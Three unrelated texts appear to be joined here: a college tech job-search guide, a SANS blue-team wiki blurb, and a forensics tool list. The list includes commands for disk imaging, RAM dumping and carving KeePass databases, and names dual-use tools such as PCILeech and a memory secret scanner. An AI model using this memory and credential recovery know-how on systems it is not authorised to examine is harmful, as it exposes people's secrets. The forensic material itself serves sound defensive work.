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# Getting a Gig: A Guide
# Introduction
Hey friends!
This is a guide for getting a gig in college as a tech major. I graduated May 2014 with 10 job offers after having 5 internships throughout my four years of college. You can do that, too. Because you're great.
# Contents
- Introduction (you read that already)
- [Your Resume](#your-resume)
- [Your Cover Letter](#your-cover-letter)
- [Your Attitude](#your-attitude)
- [Your Skills](#your-skills)
- Building Them
- Selling Them
- [Your Search](#your-search)
- Events
- Networking
- Referrals
- Cold Calling
- Fellowships
- [Conclusion](#conclusion)
# Your Resume
Your resume is your personal summary sheet. Your resume is the thing that gets your foot in the door. So, there's a few things you should do (and not do) to make it as awesome as you are.
### Make your name **BIG.**
Your name has to stand out from everything else, because you want it to be remembered. Making it the biggest thing on the page is the easiest thing you can do to make that possible. I've seen soooo many resumes where the name is at the top, but it's just bolded and centered and they expect that to be enough. It's not.
### Remove the objective.
Nobody looks at the objective. Nobody. Unless it's unusual. I personally spoke to a bunch of recruiters from various companies and they all said that they never look at them if it's already relevant to the position you're applying for. If you're saying something like, "I want a part-time job so that I can do operatic bird training for the rest of a given week," yeah, that's worth putting an objective in, I guess. But if not, use that space to talk about projects you've done, activities you've done, etc.
### Keep it to a single page.
Recruiters are looking for a short summary of you. They're reading several resumes a day, and if they see something longer than they typically read, they could pass over yours for something more concise! If you'd like to say more, put a link to a personal website or portfolio for someone to find it. A resume is a summary, not a tome.
### Remove irrelevant information.
I know that lifeguarding in high school was a good gig that helped you gain people skills and attention to detail. But you're in tech. That doesn't matter as much to tech companies. Sorry, buddy. I still think you're great with people.
When you're a first semester freshman, it's okay to have old high school stuff on there, just because it's less likely that you have other things to put on your resume. But as soon as you have a college GPA to work with, a club or two, and some volunteer experiences to replace that, do it.
### Don't make it a scavenger hunt.
When an application reviewer (engineer, recruiter, or otherwise) is looking over your resume, don't make it difficult for them to understand who you are and what you know.
For example, if you have online profiles like GitHub, LinkedIn, Twitter, or even your own personal website, put it on your resume. Don't make them have to search long and hard for you online if they want to know more!
If you decide to put relevant coursework on your resume, **please**, don't just put course numbers. Nobody knows what that means. And nobody is going to go to your university's website to find out exactly what CS229 is. Put down the course titles instead!
And finally, put down your graduation date. So many students I've seen don't put it on there because they are hiding the fact that they're a freshman, or they're "technically a junior if you count the credits." That doesn't matter. Trust me. Just put down your graduation date so that the company knows how much experience you have, and how soon they can potentially pull you in for full-time.
### Include only certain personal information.
Companies aren't allowed to ask about your religion, marital status, or race/ethnicity, so you shouldn't include that.
In terms of contact information: you don't need your mailing address. That is a thing of the past. Just like my youth. Tech companies email, and **maybe** call. That's all you need!
Some great things that you might also want to put on there are your personal website (if you have one, which you should), your GitHub profile (if you have one, which you should), and your LinkedIn (if you have one, which you should).
Though there's some who might disagree, you should **include your GPA.** If your major GPA is significantly higher than your overall GPA, you might want to consider having both. When you have graduated and have a full-time job, you won't need it as much. But at this point in your beautiful life, keep it in there. Some companies care about GPA more than others, so you might as well play it safe and have it there.
# Your Cover Letter
Your cover letter is your written sales pitch. You've got a resume that summarizes everything. Now you have to write out a more complete, professional description of you and what you can offer a given company. Here's a sample cover letter to get you started:
> Dear _________,
>
> I hope your day is going well! My name is _________, and I'm a _________ at _________. I am very interested in working for _________ next _________. Your commitment to _________ and _________ that I saw on the website inspired me! The products you build and the values you stand for make _________ seem like an ideal workplace for me.
> A little about me, I [insert relevant work experience, extracurriculars, and projects here]. I think these experiences would make me a great candidate for you.
>
> Please let me know if there's anything else you need from me. I look forward to hearing from you! I can be reached at _________ and _________
>
> Best regards,
> _________
>
Now, remember, this is just a sample. You can write a cover letter in any format you'd like. But, you should be sure to include the following:
- **Who** - Who you are. Easy enough.
- **Where** - Where you're coming from.
- **Why** - Why you're interested in this company, and show that you researched them.
- **What** - What you can bring to the table.
- **When** - When you're available to start, and when they can contact you.
- **How** - How they can reach you.
# Your Attitude
When you're internship/job hunting, it's very easy to feel down if you don't hear back from companies, an interview goes poorly, or you start comparing yourself to people. It's a tough field we're going into.
So. I won't spend much time on this. But I want to emphasize something: **You're brilliant.** You're in this field for a reason. When your grades aren't awesome or someone gets something that you wanted, don't feel down on yourself. So many opportunities will come your way if you just keep working hard and refining your skills.
Mark Twain once said, "Comparison is the death of joy." When you start to compare your skills to others, it's hard to not feel as good about your own, or to get a little too competitive about your work. Work hard and don't let others get you down. It's remarkable how significantly that can improve both your work and your interviewing experience!
When you're talking to companies and recruiters at career fairs and hackathons and over the phone, be confident, not arrogant. Be grateful for the opportunity they're giving you, and smile! A great attitude will take you VERY far.
# Your Skills
Obviously, your skills are what a company is buying from you when they hire you. So, honing in those skills and presenting them in an effective way is _probably_ the most important thing in getting a gig.
## Building Them
Chances are, if you've had a data structures and/or algorithms class, you're already going to do pretty well in the technical interviews. That is, if you can recall the information you learned.
Here's a checklist of things that you should probably be prepared to know in a technical interview:
- Data types
- Basic Bitwise Operations
- String Operations
- Arrays
- Linked Lists
- Singly Linked
- Doubly Linked
- Circular Linked
- Queues
- Stacks
- Heaps
- Trees
- Binary Trees
- Binary Search Trees
- Tries
- Self Balancing Trees
- Traversing Trees
- Breadth First Search - BFS
- Depth First Search - DFS
- Preorder, Inorder, Postorder
- Graphs
- Dijkstra's Algorithm / A\* Search
- Hash Maps
- Handling Collisions
- Sorting algorithms
- Insertion
- Selection
- Merge
- Quick
- Time Complexities
- Programming Paradigm
- Dynamic Programming
- Object Oriented Programming
- Asynchronous Programming
- Functional Programming
This guide isn't for teaching you these skills. But there are several guides, problem sets, companies, and practice systems out there that can help.
**General Guides**
- [Sorting Algorithms](http://www.sorting-algorithms.com/)
- [Big-O Cheat Sheet](http://bigocheatsheet.com/)
- [Data Structures and Algorithms Overview](http://www.dsalgo.com/2013/02/index.php.html?m=1)
- [Top 10 Algorithms for coding interviews](http://www.programcreek.com/2012/11/top-10-algorithms-for-coding-interview/)
- [Time Complexity Analysis in Data Structure](https://www.scaler.com/topics/data-structures/time-complexity-in-data-structure/)
- [Technical Onsite Interview Survival Guide](https://hired.com/blog/candidates/technical-onsite-interview-guide/)
**Problem Sets**
- [Data Structures Questions](http://www.geeksforgeeks.org/data-structures/)
- [FitCoding](http://www.fitcoding.com/)
- [Google CodeJam Practice Questions](https://codingcompetitions.withgoogle.com/codejam/archive)
- [InterviewBit](https://www.interviewbit.com/)
- [Tech Interview Handbook - Algorithms](https://techinterviewhandbook.org/algorithms/introduction/)
**Online Judging Systems**
- [LeetCode Online Judge](https://oj.leetcode.com/problemset/algorithms/)
- [HackerRank Online Judge](https://www.hackerrank.com/)
- [Project Euler](https://projecteuler.net/)
- [InterviewBit](https://www.interviewbit.com/)
**Mock Interviews**
- [Interviewing.io](https://interviewing.io/) - free
- [Pramp](https://www.pramp.com) - free
- [Careercup](http://www.careercup.com/interview) - paid
- [Gainlo](http://www.gainlo.co/) - paid
- [Impact Interview](http://www.impactinterview.com/software-engineering-interview-coaching/) - paid
- [Meetapro](https://meetapro.com/) - paid
Here's some books that might also be useful.
- [Algorithms, 4th edition, by Robert Sedgewick and Kevin Wayne](https://www.amazon.com/gp/product/032157351X/)
- [Introduction to Algorithms, 3rd Edition, by Thomas H. Cormen, Charles E. Leiserson, Ronald L. Rivest, and Clifford Stein (also referred as CLRS)](https://www.amazon.com/Introduction-Algorithms-Edition-Thomas-Cormen/dp/0262033844)
- [Think Complexity, by Allen B. Downey](http://greenteapress.com/complexity/thinkcomplexity.pdf)
- [Cracking the Coding Interview, by Gayle Laakmann McDowell](https://www.crackingthecodinginterview.com/)
Typically, for an internship or your first job, questions won't get much more specific unless you're applying for a specific role. For example, if I wanted to be a mobile intern, I might be asked iOS/Android/Windows Phone specific questions, or if I wanted to be a web intern, I might be asked HTML/CSS/JavaScript questions, or if I wanted to be a backend intern, I might be asked about Django or Node or Ruby on Rails. That definitely depends on the company, and what you're both looking for.
Make sure you're able to implement and use the above data structures without the assistance of an IDE. Typically, onsite technical interviews involve coding on paper or a whiteboard, and phone/video interviews usually involve some kind of collaborative text editor. Yes, that means you won't have access to auto-complete, auto-compiling, or the internet to check for errors. So be ready for that!
## Selling Them
When you're actively emailing and speaking with recruiters, they're going to ask you a lot of questions that are just checkboxes for what they're looking for in terms of skills.
If you've written anything in a language before, **put it on your resume**. A lot of companies have parsers that look for specific things that, again, will put a tick on those checkboxes before putting you through to the next round of review. Now, if you've only ever done "Hello, world!" in Python, don't say that you're a Python ninja or whatever. You don't want to be thrown into an interview that will only hurt your self-confidence. Speaking from experience. Trust me.
When a recruiter or engineer is asking you about a certain project you've done, or how you've used a particular language, be as specific as possible. Tell them **exactly** what you did on that particular project (or internship or what have you). Tell them how much you contributed, what languages you used, how long was the duration of development for that project, what was the outcome of the project, etc. etc.
For example, don't say, "I'm the webmaster for a club website. Next question." Okay, Dwight Schrute. Go back to your beet farm. Instead, say something more like this: "I developed and currently maintain the website for my university's computer science club. I built it from the ground up with HTML, CSS, JavaScript, and jQuery on the front-end. It's a static site, so a backend wasn't needed. The website's main function is to promote the club and give members crucial updates about meetings and events, and I update it regularly via a Python script I wrote." Oh my, you enchanting software engineer, you. Let me hire you.
When you're talking to companies about specific things you've done, make sure they know:
- **What?** - What? - What did you make? What does it do? What impact has it made? What was the hardest part? What could you have done better?
- **Why?** - Why did you make it? Was it for a hackathon, a school project, an open source contribution, or something else?
- **How?** - With which technologies did you make this? Did you use a specific API? What parts of it did you work on?
- **When?** - Did you do this recently or are you still living off of when you peaked in 10th grade?
- **Who?** - Did you work on this with anyone? Who did what? Who is this for?
Your skills are something that you have, and the reason why you have them is because you've used them in some way. All you have to do to prove yourself is to explain yourself! No need to go overboard and brag. Just be honest, and confident.
# Your Search
You have a resume and cover letter in hand, and you have the skills to make anyone want you. Now, you just have to find the right gig for you.
## Events
When you're on the hunt for a great internship or first job, the events you go to can really set you apart, and will help you meet people that could potentially help you in the long run.
The biggies that you will definitely run into are:
- Hackathons
- Meetups
- Conferences
- Career Fairs
So, how do you find these events? They're happening all the time, you just need to know where to look. Firstly, ask people in the field. Talk to a mentor, a fellow student, a professor, a colleague... anyone could come through for you! I remember my first tech event I went to in college was because I ran into a guy that I met orientation day. And now he and I are coworkers. Fancy that. Anyway, people can get you very far.
Otherwise, when people don't work, we always have the glorious internet leading the way. There's so many resources out there I definitely can't list them all. So I'll list just a few.
- Your School - Yeah, this is kind of an easy shot, but not a lot of people consider their schools as an event generator, when they should. Go on to your university's website and find the career fair, find a seminar, find a company presentation, find something that will help you learn and meet people. You'll probably find a lot of options!
- [Meetup](http://www.meetup.com) - Meetup is a great place to find groups of people who are interested in the same things you are, who meet regularly. Look for engineering meetups that are hosted **at** companies. You'll get to see an office, and meet people who actually work there (in addition to those who might work at other organizations).
- [Eventbrite](https://www.eventbrite.com/) - Eventbrite is best for finding events that aren't recurring. You can often find workshops, networking events, parties, and classes there. I tend to just search for the term, "tech" or "computer" and the results simply flow. Like a babbling brook. Or something.
- [Major League Hacking](https://mlh.io/) - MLH provides a fairly thorough schedule of university hackathons every semester. Most of the events on their schedule provide travel reimbursement, but there's so many that you'll likely find one near you!
Like I mentioned before, there's a lot of resources out there for finding events. Now that you have places to go to, what do you do there?
WHAT A CLEVER SEGUE.
## Networking
The whole point of going to events (besides learning something, of course) is to network. Meeting and maintaining relationships with people in this industry is essential.
So, how **do** you just network with people? How do you make it as natural as eating pie on Pi Day? I'll show you, Bert.
First of all, don't think of it as networking. You don't want to get the heebie-jeebies. Think of it as meeting people who like what you like. When you're at these events, you'll occasionally see groups of people staying in their own groups, not often reaching out to others. You're not going to do that. You're going to be a professional, social butterfly.
Follow generally these steps (as casually or formally as the event calls for) when networking:
1. Introduce yourself. This seems obvious, but you'd be surprised how often people just sort of slide into a conversation without ever actually providing anyone with their name or title. Go up to people and tell them who you are.
2. Make small talk about tech. Again, an obvious tip, but important. You want to know what this person's skills are, and you want them to know yours. Someday, they might be looking for someone to help them on a project in a language that you know, or vice-versa. Get the important details out in the open about each other so that not only you can remember each other, but you can help each other out in the future. And don't forget to have fun with it!
3. Exchange contact information. If you have no way of finding the person you're talking to again, and they don't have a way of finding you, then you're just wasting a potentially valuable connection. Whether you give them a business card or an email address, or even a Twitter handle, keep that information!
4. Follow-up. This is probably **the most important thing I will tell you in this whole guide.** Hence the bold letters. So pretty. Anyway. Following up is the guaranteed way of leaving an impression with someone. Whether you email or tweet or InMail or Facebook message or pigeon mail, just sending a simple, "it was nice to meet you!" message is absolutely **vital** when it comes to networking. I've actually heard stories of people changing their mind about hiring someone based on a follow-up message. And following up doesn't stop at the "nice to meet you" message. At some point down the line, it's great practice to send a "how are you doing?" message to someone you're interested in maintaining a relationship with. For all three of my mentors that I had in college (and to this day), the way we built our relationship was through these sorts of follow-up messages. **Do them.**
Networking is about building relationships, and what you can do with those relationships is up to you. But we're talking about getting a job. So let's move on to one of the best ways of getting one, with these relationships.
## Referrals
Referrals are your in. If you can get a referral from an employee of the company you're applying for, that's money. It pushes you towards the top of the pile of resumes that they're getting every single day. Using the relationships you've built from networking, all it takes is a simple ask! You can get a referral from current employees, former ones, interns, former interns, friends of engineers, acquaintances of recruiters... really, anyone who is connected with the company. If they have a job posting up for a given position, they are looking around for engineers just as much as you're looking around for a great gig! The company knows that they're going to be speaking with someone potentially really good (because they were recommended by someone trusted), and you get to speak to a company for whom you want to work. Having a referral is a win for both parties.
Asking for a referral really depends on your relationship with the referrer. If you know them in a strictly business setting, you might want to send them a more professional request. But if you know the referrer pretty well, chances are you know how to ask for a favor. One thing that you must remember though is to, again, **follow up**! If you haven't heard back from your referrer, reach out and check on your status. If they let you know that you're in the system, be gracious and take them for coffee or something. Common courtesy. You've got this.
## Cold Calling
A lot of people are fans of cold calling, which is making unsolicited contact with a person at a company and hoping for something good to come of it. I admit, I'm not one of those people. Seems spammy. But, I'll tell you about some ways to do that anyway, to make your cold calls as potentially successful as possible.
First of all, you should have an email for someone at the company you're looking at. You could ask around your network for contact information for a given person, or you could just go out on a limb and [test some emails to see if they're valid](http://mailtester.com/). A lot of companies have fairly standard email address templates ([email protected], for example), so you can just keep sending a few until you find a legitimate one. If you need names to test out, you can scour LinkedIn or the company's website to try and find something that works. There are also [many free tools to find someone's email address, given their LinkedIn profile](http://unusuallydifficult.com/guide/finding-someones-email-address/).
Once you have a legitimate email on your hands, get to work on making a personalized message to them. Emphasis on the personal. When you're cold calling, you can't have just any standard email template where you stick in the company's name where it fits. You have to clearly let the person know why you're writing, from where you got their information (if it's not just a random guess, of course), why you would be a good fit for the company (where you will **sell** those awesome skills of yours), and why you think the company is great. Essentially, you're writing a glorified cover letter.
When the email has been sent, you're done. If you haven't heard back in a week or two, send a follow-up, but if they still haven't replied after that, chances are they won't reply at all. And that's okay. It happens. That's the territory when it comes to cold calling.
## Fellowships
Fellowships are a great way to network with a community and get valuable mentorship that will most certainly help you in the long run. They vary depending on the program, but typically you'll get assigned a mentor or two, go to several events to network with professionals, and intern for a company that has partnered with the specific fellowship program.
Here's a list of some example fellowship programs. This is by no means a complete list (feel free to send a pull request or file an issue if there's another you'd like to be added), but it should get you started!
- [Cansbridge Fellowship](http://www.cansbridgefellowship.com/)
- [CODE2040](http://code2040.org/)
- [FirstMark Elite](http://firstmarkelite.com/)
- [Ford-Mozilla Fellows](https://advocacy.mozilla.org/open-web-fellows/)
- [Hacker Fellows](https://www.hackerfellows.com/)
- [hackNY Fellows](https://hackny.org/fellows-program)
- [Horizons Fellowship](http://www.horizonsbootcamp.com/fellowship)
- [Knight-Mozilla Fellows](https://opennews.org/what/fellowships/info/)
- [KPCB Fellows](http://kpcbfellows.com/)
- [8VC Fellows](http://www.8vcfellowship.com/)
- [Mayfield Fellows Program](http://stvp.stanford.edu/mayfield-fellows-program/)
- [True Entrepreneur Corps](https://trueventures.com/true-platform/fellowships/tec)
- [Venture for America](http://ventureforamerica.org/)
- [Conservation X Labs Epic Fellowships](https://conservationxlabs.com/epic-fellowships)
- [Pursuit Fellowship ](https://www.pursuit.org/fellowship)
- [MLH Fellowship](https://fellowship.mlh.io/)
- [Insight Fellowship](https://insightfellows.com/)
- [Just Future Laws](https://justfutureslaw.org/2020-2021-fellowship-program/)
In addition to these fellowships, several companies offer special programs for younger students that are similarly geared towards learning and mentorship. Here's another list that is not complete, but will get you started:
- [Microsoft Explore](https://careers.microsoft.com/students/us/en/usexploremicrosoftprogram) (I'm biased because I did this one, but this program is AWESOME)
- [Google Engineering Practicum](https://careers.google.com/students/)
# Conclusion
So, cliché parting words. Work hard, stay healthy, and be yourself! All of these phrases are said a lot for a reason.
You are in an incredibly challenging field that forces you to think in ways that many can't even fathom. You're constantly pushing the limits of logic and creativity, as well as technology itself. You've made SUCH an exciting choice to pursue this! It will be hard. You're going to want to give up at times. I certainly did. But, it'll all be worth it in the end when you've finally **earned** the gig of your dreams.
When I tell you to stay healthy, it's something that you might not consider when you're working until 3AM on a programming problem or trying to survive with 21 credits of technical classes. We've all been there. At times, it feels like it's the only way to get ahead. But guess what: it's not! Try to have a decent sleep schedule (as in, more than 3 hours a night) and eating schedule, too. It'll keep you from burning out, and it's proven that it'll keep you alert and focused, which is essential for interview season!
My favorite quote is from Helen Keller: "One can never consent to creep when one feels an impulse to soar."
Everyone wants to be great, in their own way. When I say to "be yourself," I mean that I want you to show people who you are, what you're passionate about, and what you strive to be! If you keep your personal goals in mind as you work towards them, everything will fall into place, and you can truly **soar** into a great career.
Alright, I've said my piece. Go get 'em. I hope that you find this guide useful as you go out to create change and be the best that you can be!
**Good luck!**
|
# blue-team-wiki
https://wiki.sans.blue
Tools, techniques, cheat sheets, and other resources to assist those defending organizations and detecting adversaries. Brought to you by Seth Misenar, Eric Conrad, and others in the SANS Blue Team Operations Curriculum.
|
# Forensics
- [Awesome Forensics](https://github.com/alphaSeclab/awesome-forensics) - Awesome Forensics Resources. Almost 300 open source forensics tools, and 600 blog posts about forensics.
- [Awesome Forensics by cugu](https://github.com/Cugu/awesome-forensics) - A curated list of awesome forensic analysis tools and resources.
- [CppCheck](https://github.com/danmar/cppcheck) - static analysis of C/C++ code [cppcheck.sourceforge.net](http://cppcheck.sourceforge.net/).
- [cPTS](https://github.com/reviewscientific2020/cPTS) - Carve for potential timestamps.
- [Digital Forensics Guide ](https://github.com/mikeroyal/Digital-Forensics-Guide) - Digital Forensics Guide
- [Digital Forensics Lab & Shared Cyber Forensic Intelligence Repository](https://github.com/frankwxu/digital-forensics-lab) - Free hands-on digital forensics labs for students and faculty.
- [ForensicsTools](https://github.com/mesquidar/ForensicsTools) - A list of free and open forensics analysis tools and other resources.
- [Hashlookup-forensic-analyser](https://github.com/hashlookup/hashlookup-forensic-analyser) - Analyse a forensic target (such as a directory) to find and report files found and not found from CIRCL hashlookup public service - https://circl.lu/services/hashlookup/.
- [IPED](https://github.com/sepinf-inc/IPED) - IPED Digital Forensic Tool. It is an open source software that can be used to process and analyze digital evidence, often seized at crime scenes by law enforcement or in a corporate investigation by private examiners.
- [Kuiper](https://github.com/DFIRKuiper/Kuiper) - Digital Forensics Investigation Platform
- [LinuxForensics](https://github.com/ashemery/LinuxForensics) - Everything related to Linux Forensics
- [Log2timeline's Plaso](https://github.com/log2timeline/plaso) - Super timeline all the things.
- [Documentation](https://plaso.readthedocs.io/en/latest/)
- [Guide-to-quick-forensics by securitywithoutborders](https://github.com/securitywithoutborders/guide-to-quick-forensics) - Guide to Quick Forensics.
- [Paladin](https://sumuri.com/software/paladin/)
- [The CERT Linux Forensics Tools Repository - LiFTeR](https://forensics.cert.org/)
- [Velociraptor](https://github.com/Velocidex/velociraptor) - Velociraptor is an advanced digital forensic and incident response tool that enhances your visibility into your endpoints. [Docs](https://docs.velociraptor.app/)
## Analysis of Office Documents (e.g. pdf)
- [AnalyzePDF](https://github.com/hiddenillusion/AnalyzePDF) - Tool to help analyze PDF files.
- [Goca](https://github.com/gocaio/goca) - Goca is a FOCA fork written in Go, which is a tool used mainly to find metadata and hidden information in the documents its scans. These documents may be on web pages, and can be downloaded and analyzed with Goca.
- [officeparser.py](https://github.com/unixfreak0037/officeparser) - Extract embedded files and macros from office documents.
- [Oletools](https://github.com/decalage2/oletools/) - python tools to analyze MS OLE2 files (Structured Storage, Compound File Binary Format) and MS Office documents, for malware analysis, forensics and debugging. Tools:
- [oleid](https://github.com/decalage2/oletools/wiki/oleid) - Tools to analyze malicious documents. Note for later: http://www.decalage.info/python/oletools
- oleid: to analyze OLE files to detect specific characteristics usually found in malicious files.
- olevba: to extract and analyze VBA Macro source code from MS Office documents (OLE and OpenXML).
- MacroRaptor: to detect malicious VBA Macros
- msodde: to detect and extract DDE/DDEAUTO links from MS Office documents, RTF and CSV
- pyxswf: to detect, extract and analyze Flash objects (SWF) that may be embedded in files such as MS Office documents (e.g. Word, Excel) and RTF, which is especially useful for malware analysis.
- oleobj: to extract embedded objects from OLE files.
- rtfobj: to extract embedded objects from RTF files.
- Tools to analyze the structure of OLE files
- olebrowse: A simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to view and extract individual data streams.
- olemeta: to extract all standard properties (metadata) from OLE files.
- oletimes: to extract creation and modification timestamps of all streams and storages.
- oledir: to display all the directory entries of an OLE file, including free and orphaned entries.
- olemap: to display a map of all the sectors in an OLE file.
PDF document analysis tools
- [pdfid.py](https://github.com/DidierStevens/DidierStevensSuite/blob/master/pdfid.py) - Tool to test PDF files (Comes default in Remnux OS). Syntax: 'pdfid.py malware.pdf'
- [PdfParser](https://github.com/smalot/pdfparser) - PdfParser, a standalone PHP library, provides various tools to extract data from a PDF file.
- [compare-strings by kesarawimal](https://github.com/kesarawimal/compare-strings) - Finds degree of similarity between two strings, based on Dice's Coefficient and Levenshtein Distance.
- [pdfminer.six](https://github.com/pdfminer/pdfminer.six) - Community maintained fork of pdfminer - we fathom PDF
- [Peepdf - PDF Analysis Tool](https://github.com/jesparza/peepdf)
- [tools/peepdf-pdf-analysis-tool](https://eternal-todo.com/tools/peepdf-pdf-analysis-tool)
## Analysis Online
- [Hybrid-Analysis](https://www.hybrid-analysis.com) - free malware analysis service for the community that detects and analyzes unknown threats using a unique Hybrid Analysis technology.
- [Koodous](https://koodous.com/)
- [Virustotal](virustotal.com/) - Analyze suspicious files and URLs to detect types of malware, automatically share them with the security community
## Cheat Sheets
- [zeltser.com - Analyzing Malicious Documents Cheat Sheet](https://zeltser.com/analyzing-malicious-documents/)
## Cloud
- [Cloud Forensics Utils](https://github.com/google/cloud-forensics-utils) - Python library to carry out DFIR analysis on the Cloud.
- [Sparrow](https://github.com/cisagov/Sparrow) - Sparrow.ps1 was created by CISA's Cloud Forensics team to help detect possible compromised accounts and applications in the Azure/m365 environment.
## Collaboration tools
- [Timesketch](https://github.com/google/timesketch) - Collaborative forensic timeline analysis.
## Disk
- btrfs
- [How to recover data from Btrfs-RAID](https://www.ufsexplorer.com/articles/how-to/recover-data-btrfs-raid.php)
- [How to Recover Data from a BtrFS Drive or RAID System](https://hetmanrecovery.com/recovery_news/how-to-recover-data-from-btrfs-raid.htm)
- [Understanding and Working With BtrFS Filesystem in Linux](https://computingforgeeks.com/working-with-btrfs-filesystem-in-linux/)
- [Using RAID with btrfs and recovering from broken disks](https://linuxnatives.net/2015/using-raid-btrfs-recovering-broken-disks)
- [WinBtrfs](https://github.com/maharmstone/btrfs) - WinBtrfs is a Windows driver for the next-generation Linux filesystem Btrfs. A reimplementation from scratch, it contains no code from the Linux kernel, and should work on any version from Windows XP onwards. It is also included as part of the free operating system ReactOS.
## Documents, Whitepapers and related resources
- [Detecting Malware With Memory Forensics with Hal Pomeranz (SANS Institute)](http://www.deer-run.com/~hal/Detect_Malware_w_Memory_Forensics.pdf)
- [Free Malicious PDF Analysis E-book](http://didierstevens.com/files/data/malicious-pdf-analysis-ebook.zip) - Also within this folder and "Documents".
- [SANS Forensics Whitepapers](https://digital-forensics.sans.org/community/whitepapers) - Papers written by forensic practitioners seeking GCFA, GCFE, and GREM Gold.
## [eBPF](https://ebpf.io/)
- [Bad BPF](https://github.com/pathtofile/bad-bpf) - A collection of eBPF programs demonstrating bad behavior.
- [BCC](https://github.com/iovisor/bcc) - BCC - Tools for BPF-based Linux IO analysis, networking, monitoring, and more
- [Collection of Linux eBPF slides/documents](https://github.com/ehids/slide) - Collection of Linux eBPF slides/documents.
- [Tetragon](https://github.com/cilium/tetragon) - eBPF-based Security Observability and Runtime Enforcement
- [Tracee](https://github.com/aquasecurity/tracee) - Linux Runtime Security and Forensics using eBPF.
- [Bpftrace](https://github.com/iovisor/bpftrace) - High-level tracing language for Linux eBPF.
## Evidence collection
- [AutoLLR](https://github.com/Dead-Simple-Scripts/AutoLLR) - Script to automate Linux live evidence collection.
## File Analysis
- [Debsums](https://manpages.ubuntu.com/manpages/trusty/man1/debsums.1.html) - check the MD5 sums of installed Debian packages.
- [foremost](https://www.kali.org/tools/foremost/)
- To recover files
````
ddrescue -D -f -n -v /dev/sda disk.img disk.log # creates a copy we can work on
foremost -v -t jpg,mp4,png -q -i disk.img -o files-found/ # carves jpg, mp4, png from the disk.img file and puts them in the folder 'files-found'
````
- [inotifywait](https://linux.die.net/man/1/inotifywait) - inotify-tools is a C library and a set of command-line tools providing an interface to the Linux inotify file notification system. [source](https://sourceforge.net/projects/inotify-tools/)
- [Scalpel](https://www.kali.org/tools/scalpel/)
- To recover [KeePass](https://keepass.info/help/base/repair.html) KDBX-database files, add following settings in `/etc/scalpel/scalpel.conf`
````
# case size header
#extension sensitive
kdbx1 y 5000 \x03\xD9\xA2\x9A\x65\xFB\x4B\xB5
kdbx2 y 5000 \x03\xD9\xA2\x9A\x67\xFB\x4B\xB5
````
- [tree](https://github.com/kddnewton/tree) - Implementations of the unix tree command
- [TrID](https://mark0.net/soft-trid-e.html) - Identify file types from their binary signatures. Win32, Linux 32/64-bit
- [Online TrID File Identifier](https://mark0.net/onlinetrid.html) - Size <= 10 MB.
- [TrIDNet (GUI)](https://mark0.net/soft-tridnet-e.html) - GUI version of TrID. Requires .NET for function [Install .NET on Linux](https://docs.microsoft.com/en-us/dotnet/core/install/linux)
- [xxd](https://github.com/ConorOG/xxd) - hexdump utility.
Syntax:
````powershell
xxd file.txt
````
- Commands (Usually default)
````
auditd
file # determine file type. E.g. "file word.doc"
filemon
hexdump # ascii, decimal, hexadecimal, octal dump
lsof
stat # display file or file system status.
strace
strings # print the sequences of printable characters in files
sysdig
````
## Firmware
- [Binwalk](https://github.com/ReFirmLabs/binwalk) - Binwalk is a fast, easy to use tool for analyzing, reverse engineering, and extracting firmware images.
````powershell
binwalk -e -M bzImage
````
## Hardware
- [Board status](https://github.com/Ledger-Donjon/scaffold) - Donjon hardware tool for circuits security evaluation.
- [ilo4_toolbox](https://github.com/airbus-seclab/ilo4_toolbox) - Toolbox for HPE iLO4 & iLO5 analysis.
## Incident Response
- [Awesome Incident Response](https://github.com/meirwah/awesome-incident-response) - A curated list of tools for incident response.
- [FastFinder](https://github.com/codeyourweb/fastfinder) - Incident Response - Fast suspicious file finder
- [Incident Response for Android and iOS](https://github.com/nowsecure/mobile-incident-response) - Mobile Incident Response Book.
### IoC - Indicators of Compromise
- [CHIRP](https://github.com/cisagov/CHIRP) -The CISA Hunt and Incident Response Program (CHIRP) is a tool created to dynamically query Indicators of Compromise (IoCs) on hosts with a single package, outputting data in a JSON format for further analysis in a SIEM or other tool. CHIRP does not modify any system data.
## Java
- [GDS-PMD-Security-Rules](https://github.com/GDSSecurity/GDS-PMD-Security-Rules) - Custom security ruleset for the popular Java static analysis tool PMD.
- [SootTutorial](https://github.com/noidsirius/SootTutorial) - A step-by-step tutorial for Soot (a Java static analysis framework)
## Memory Forensics (RAM)
- [Atomicity_tops](https://github.com/pagabuc/atomicity_tops) - Introducing the Temporal Dimension to Memory Forensics - ACM Transactions on Privacy and Security 2019.
- [Avml](https://github.com/microsoft/avml) - AVML - Acquire Volatile Memory for Linux
- [Dismember](https://github.com/liamg/dismember) - 🔪 Scan memory for secrets and more. Maybe eventually a full /proc toolkit.
- [FireEye Redline](https://www.fireeye.com/services/freeware/redline.html) - free endpoint security tool, provides host investigative capabilities to users to find signs of malicious activity through memory and file analysis and the development of a threat assessment profile.
- [Fmem](https://github.com/NateBrune/fmem) - Linux Kernel Module designed to help analyze volatile memory in the linux kernel.
- How to
````bash
git clone https://github.com/NateBrune/fmem
cd fmem && make
./run.sh
dd if=/dev/fmem of=memory.raw bs=1MB count=2048
````
- [FTK Imager](https://www.exterro.com/ftk-imager)
- [kallsyms-extractor](https://github.com/pagabuc/kallsyms-extractor) - Tool to extract the kallsyms (System.map) from a memory dump.
- [kernographer](https://github.com/pagabuc/kernographer) - Back to the Whiteboard: a Principled Approach for the Assessment and Design of Memory Forensic Techniques (Usenix '19)
- [Back to the Whiteboard: a Principled Approach for the Assessment and Design of Memory Forensic Techniques](https://www.usenix.org/system/files/sec19fall_pagani_prepub.pdf)
- [LibVMI](https://github.com/libvmi/libvmi) - LibVMI is a virtual machine introspection library. This means that it helps you access the memory of a running virtual machine. LibVMI provides primitives for accessing this memory using physical or virtual addresses and kernel symbols. LibVMI also supports accessing memory from a physical memory snapshot, which is helpful for debugging or forensic analysis.
- [LiME](https://github.com/504ensicsLabs/LiME) - LiME (or Linux Memory Extractor) is a tool that allows the capture of volatile memory (RAM) from a running Linux device.
- [Memray](https://github.com/bloomberg/memray) - Memray is a memory profiler for Python.
- [MemorPy](https://github.com/n1nj4sec/memorpy) - Python library using ctypes to search/edit windows / linux / macOS / SunOS programs memory.
- [Memscan](https://github.com/angusshire/memscan) - memscan is a command line utility for scanning a user-mode process's memory. It is compatible with 64-bit Windows, and will not work on 32-bit Windows. For speed, the scan does not support non-aligned addresses.
- [PCILeech](https://github.com/ufrisk/pcileech) - Direct Memory Access (DMA) Attack Software.
